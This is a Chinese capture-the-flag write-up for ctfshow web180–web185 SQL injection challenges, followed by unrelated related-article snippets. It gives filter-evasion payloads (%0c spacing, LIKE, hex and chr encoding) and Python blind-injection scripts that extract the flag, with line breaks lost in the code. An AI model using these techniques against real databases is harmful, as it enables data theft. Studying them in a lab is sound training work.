ctfshow web入门 web180--web185

news/2024/12/6 18:35:06/

web180

import requests
import recom = re.compile("admin")
def repisTrue(char):url = f"http://自己环境的网址/api/?id=1%27and%27{char}%27=%27{char}&page=1&limit=10"res = requests.get(url)w = com.search(res.text)if w is not None:return Truereturn Falseif __name__ == '__main__':all = []no = []for i in range(1,128):if repisTrue(chr(i)):all.append((i,chr(i)))else:no.append((i,chr(i)))print("all:",all)print("no:",no)

在这里插入图片描述

法一
'or'1'='1'--%0c
法二
-1'%0cuniOn%0cselEct%0c'1','2','3-1'%0cuniOn%0cselEct%0c'1',database(),'3-1'%0cuniOn%0cselEct%0c1,(select%0cgroup_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema=database()),'3-1'%0cuniOn%0cselEct%0c1,(select%0cgroup_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema=database()%0cand%0ctable_name='ctfshow_user'),'3-1'%0cuniOn%0cselEct%0c1,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'),'3

web181

在这里插入图片描述

mysql操作符优先级:(数字越大,优先级越高)

在这里插入图片描述
借用大佬的图,这里使用运算符等级绕过

-1'||username='flag

在这里插入图片描述

web182

在这里插入图片描述
过滤了flag我们就用like来匹配flag

-1'||(username)like'%fla%

在这里插入图片描述在这里插入图片描述

web183

在这里插入图片描述$_POST['tableName']来动态地获取表名

tableName=`ctfshow_user`where`pass`like'ctfshow{%'

**加粗样式**![
查询结果就变成了1
脚本

import requests
import stringurl = "http://9ac44fb1-1cbf-4fdd-a7a0-dcdce0b24be4.challenge.ctf.show/select-waf.php"
payload = "(ctfshow_user)where(pass)like'ctfshow{0}%'"
flag = ''for i in range(1, 50):for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':payload1 = payload.format(flag + j)data = {'tableName': payload1}r = requests.post(url=url, data=data)if "$user_count = 1;" in r.text:flag += jprint(flag)

在这里插入图片描述
这个脚本很快很好用

web184

在这里插入图片描述过滤了单双引号,那么我们就用like脚本或者INNER join on脚本

import requests
import stringurl = "http://0d6e63ff-0213-4d40-a465-fcbf6778ccd2.challenge.ctf.show/select-waf.php"
payload = "ctfshow_user group by pass having pass like (0x63746673686f777b{0})"
flag = ''def str_to_hex(str):return ''.join([hex(ord(c)).replace('0x', '') for c in str])for i in range(1, 50):for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':payload1 = payload.format(str_to_hex(flag + j + '%'))# print(payload1)data = {'tableName': payload1}r = requests.post(url=url, data=data)# print(r.text)if "$user_count = 1;" in r.text:flag += jprint(flag)

在这里插入图片描述

import requests
import string
url="http://e67a2fc8-3328-4651-8709-8fb693e5f87f.challenge.ctf.show/select-waf.php"
payload="ctfshow_user a inner join ctfshow_user b on b.pass like 0x63746673686f777b{0}"
flag=''def str_to_hex(str):return ''.join([hex(ord(c)).replace('0x','') for c in str])
for i in range (1,50):for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':payload1=payload.format(str_to_hex(flag+j+'%'))# print(payload1)data={'tableName':payload1}r=requests.post(url=url,data=data)# print(r.text)if "$user_count = 22;"  in r.text:flag+=jprint(flag)

在这里插入图片描述学一下这个INNER join on
INNER join in

web185

true代替数字,concat+chr代替引号

在这里插入图片描述
我发现脚本越来越复杂了
先放个脚本我去学一下

import stringimport requestsurl = 'http://de655322-190c-4e8f-b65d-c2f663245ee1.challenge.ctf.show/select-waf.php'
payload = 'ctfshow_user group by pass having pass like(concat({}))'
flag = 'ctfshow{'def createNum(n):num = 'true'if n == 1:return 'true'else:for i in range(n - 1):num += "+true"return numdef createStrNum(c):str = ''str += 'chr(' + createNum(ord(c[0])) + ')'for i in c[1:]:str += ',chr(' + createNum(ord(i)) + ')'return struuid = string.ascii_lowercase + string.digits + "-{}"for i in range(1, 50):for j in uuid:payload1 = payload.format(createStrNum(flag + j + "%"))# print(payload1)data = {'tableName': payload1}re = requests.post(url=url, data=data)if "$user_count = 0;" not in re.text:flag += jprint(flag)if j == '}':exit()break

在这里插入图片描述


http://www.ppmy.cn/news/1434544.html

相关文章

(delphi11最新学习资料) Object Pascal 学习笔记---第10章第1节(属性的代码补全)

10.1.3 属性的代码补全 ​ 给类添加属性是一项繁琐的工作,IDE的编辑器可以让你在编写属性声明的初始部分(在类内部)时轻松自动完成属性,如下所示: typeTMyClass classpublicproperty Month : Integer;end;​ 在光标…

PyTorch and Stable Diffusion on FreeBSD

Stable Diffusion在图像生成领域具有广泛的应用和显著的优势。它利用深度学习和扩散模型的原理,能够从随机噪声中生成高质量的图像。 官网:GitHub - verm/freebsd-stable-diffusion: Stable Diffusion on FreeBSD with CUDA support FreeBSD下难度主要…

【QT学习】9.绘图,三种贴图,贴图的转换,不规则贴图(透明泡泡)

一。绘图的解释 Qt 中提供了强大的 2D 绘图系统,可以使用相同的 API 在屏幕和绘图设备上进行绘制,它主要基于QPainter、QPaintDevice 和 QPaintEngine 这三个类。 QPainter 用于执行绘图操作,其提供的 API 在 GUI 或 QImage、QOpenGLPaintDev…

网络基础-TCP/IP和OSI协议模型

一、OSI和TCP/IP模型 二、OSI七层模型 三、TCP/IP模型 参考:https://www.cnblogs.com/f-ck-need-u/p/7623252.html

怎么使用yolov8进行图片识别,分类,分割,视频追踪

目录 一:简介 二:图片识别 三:图片分类 四:图片分割 五:姿态

力扣HOT100 - 199. 二叉树的右视图

解题思路&#xff1a; 相当于层序遍历&#xff0c;然后取每一层的最后一个节点。 class Solution {public List<Integer> rightSideView(TreeNode root) {if (root null) return new ArrayList<Integer>();Queue<TreeNode> queue new LinkedList<>…

【免费题库】华为OD机试 - 根据IP查找城市(Java JS Python C C++)

须知 哈喽,本题库完全免费,收费是为了防止被爬,大家订阅专栏后可以私信联系退款。感谢支持 文章目录 须知题目描述输入描述输出描述解题思路:Java代码:JS代码:Python代码:C++代码:题目描述 某业务需要根据终端的IP地址获取该终端归属的城市,可以根据公开的IP地址池信…

K8s: 控制器之Deployment对象

Deployment 对象 1 &#xff09;概述 为什么大家都用Deployment&#xff0c;不直接用Pod&#xff0c;不直接用 Replica Set因为deployment就是专门像一个管理员一样&#xff0c;专门来管这些散落在各处的各种各样的PodDeployment不仅会管Pod&#xff0c;还会管Replica Set只要…